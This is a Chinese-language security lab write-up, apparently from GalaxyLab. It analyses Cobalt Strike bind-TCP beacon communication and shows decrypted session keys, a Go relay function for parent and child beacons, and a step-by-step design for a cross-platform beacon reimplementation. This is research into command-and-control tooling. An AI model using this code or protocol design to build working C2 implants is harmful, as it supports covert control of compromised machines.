06755b9156b8f3b04fa0da72dc3740465cc0d2f45c5dd3d3d6a7496f397892c5dc5b11d760241964 7d177b5563a952f10c395c385832fedeebd119a89a3b77c32d62bf19c44f75836ab0a20e200eaec1 aace752a0690d9284b5da6402e3034f09fbc568b684e793d9983cf8601cd309bdcaa273e6fadd950 81508147f95fd914


然后使用解密源数据的python脚本解密:



获得AES key和Hashmac

AES key:9b933592951d47b2ae93e339b640e92d HMAC key:8fa971e3d5950a7ff0d5f4fca898c8ae


4. 根据bindtcp beacon源数据获得aes key解密bindtcp beacon返回的任务数据



如上图,与我们cs执行命令返回的结果一致。


3.2.2 golang模拟发送请求

func BeaconLive(cmdBuf []byte)  {    childBID := binary.BigEndian.Uint32(cmdBuf)    value,ok := config.Connects.Load(childBID)    if ok{        childBeacon,ok := value.(config.ChildBeacon)        if ok{            childConn := childBeacon.ChildConn            if len(cmdBuf) == 4{                packet.WriteData(childConn, nil)            }else {                packet.WriteData(childConn, cmdBuf[4:])            }
data,err := packet.ReadData(childConn) if err!= nil{ if err.Error() == "EOF"{ Unlink(cmdBuf[:4]) }else { finalPacket := packet.MakePacket(13,[]byte(err.Error())) packet.WriteData(config.ParentConn,finalPacket) } }else if data == nil { //心跳成功返回 childBIDBytes := util.Uint32ToBytes(childBID) finalPacket := packet.MakePacket(12,childBIDBytes) //返回数据到上一层时添加子beaconid packet.WriteData(config.ParentConn, finalPacket) } else { childBIDBytes := util.Uint32ToBytes(childBID) endData := util.BytesCombine(childBIDBytes, data)//返回数据到上一层时添加子beaconid finalPacket := packet.MakePacket(12,endData) packet.WriteData(config.ParentConn, finalPacket) } } }}



0x04 跨平台的bindtcp Beacon


根据上面的分析,我们总结出bindtcp流程如下:



4.1 子beacon的任务过程


1. 子beacon新建监听,初始化全局变量,比如:beaconid、AES key和HashMac等;然后等待父beacon连接。


2. 建立连接之后,子beacon获取源数据组包,并使用公钥加密,然后封包小端beaconid,最后使用自定义的tcp封包格式(长度包+数据包)发往父beacon。


3. 子beacon进入循环读取父beacon任务,任务分为:命令任务和心跳任务。


4. 子beacon判断收到心跳任务时,向父beacon返回0x00000000,表示在线;子beacon判断收到的是命令任务,会使用AES key解密命令,解析出实际命令分配对应的线程取执行。


5. 当命令执行线程执行完命令之后,将执行结果进行任务结果的封包:包括AES加密命令结果,封装结果长度,封装Hmac等;然后使用自定义的tcp封包格式(长度包+数据包)向父beacon发送命令执行结果。


4.2 父beacon的任务过程


1. 接收连接到子beacon的任务,判断是否已经连接,如果没有,则连接子beacon监听的端口。


2. 读取子beacon返回的源数据包,获取子beaconid,并将子beaconid、子beacon对应的ip、port、对应连接的tcp socket进行绑定。


3. 封包连接任务返回数据:大端beaconid+hint+rsa加密的子beacon源数据;然后再使用父beacon 的AES key加密源数据,并封装数据长度和父beacon的hashmac。


4. 如果父beacon是http/https beacon,会对应使用模拟http请求向ts发送父beacon的连接任务数据(即子beacon的上线源数据);如果父beacon是bind tcp beacon,会对应使用自定义的tcp封包格式(长度包+数据包)发往父beacon的父beacon。


5. 父beacon等待ts/上一级beaocn的任务,从解密的任务数据中获取子beaconid,然后根据子beacon ID获取对应的socket,最后使用对应的socket将数据发送到子beacon。


6. 然后等待子beacon返回命令执行数据,并封装上子beacon ID,然后再用父beaocn的AES key加 密,封装上数据长度和hashmac,最后发往ts/上一级beacon。


银河实验室

银河实验室(GalaxyLab)是平安集团信息安全部下一个相对独立的安全实验室,主要从事安全技术研究和安全测试工作。团队内现在覆盖逆向、物联网、Web、Android、iOS、云平台区块链安全等多个安全方向。
官网:http://galaxylab.pingan.com.cn/




往期回顾


技术

【平安CTF赛题】解题思路总结

技术

D-Link 816-A2 路由器研究分享

技术

使用Ghidra P-Code对OLLVM控制流平坦化进行反混淆

技术

家用路由器D-LINK DIR-81漏洞挖掘实例分析

公告

防守方视角看漏扫——手把手教你定制自己的漏扫框架(POC部分)


长按识别二维码关注我们

微信号:PSRC_Team



球分享

球点赞

球在看



关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接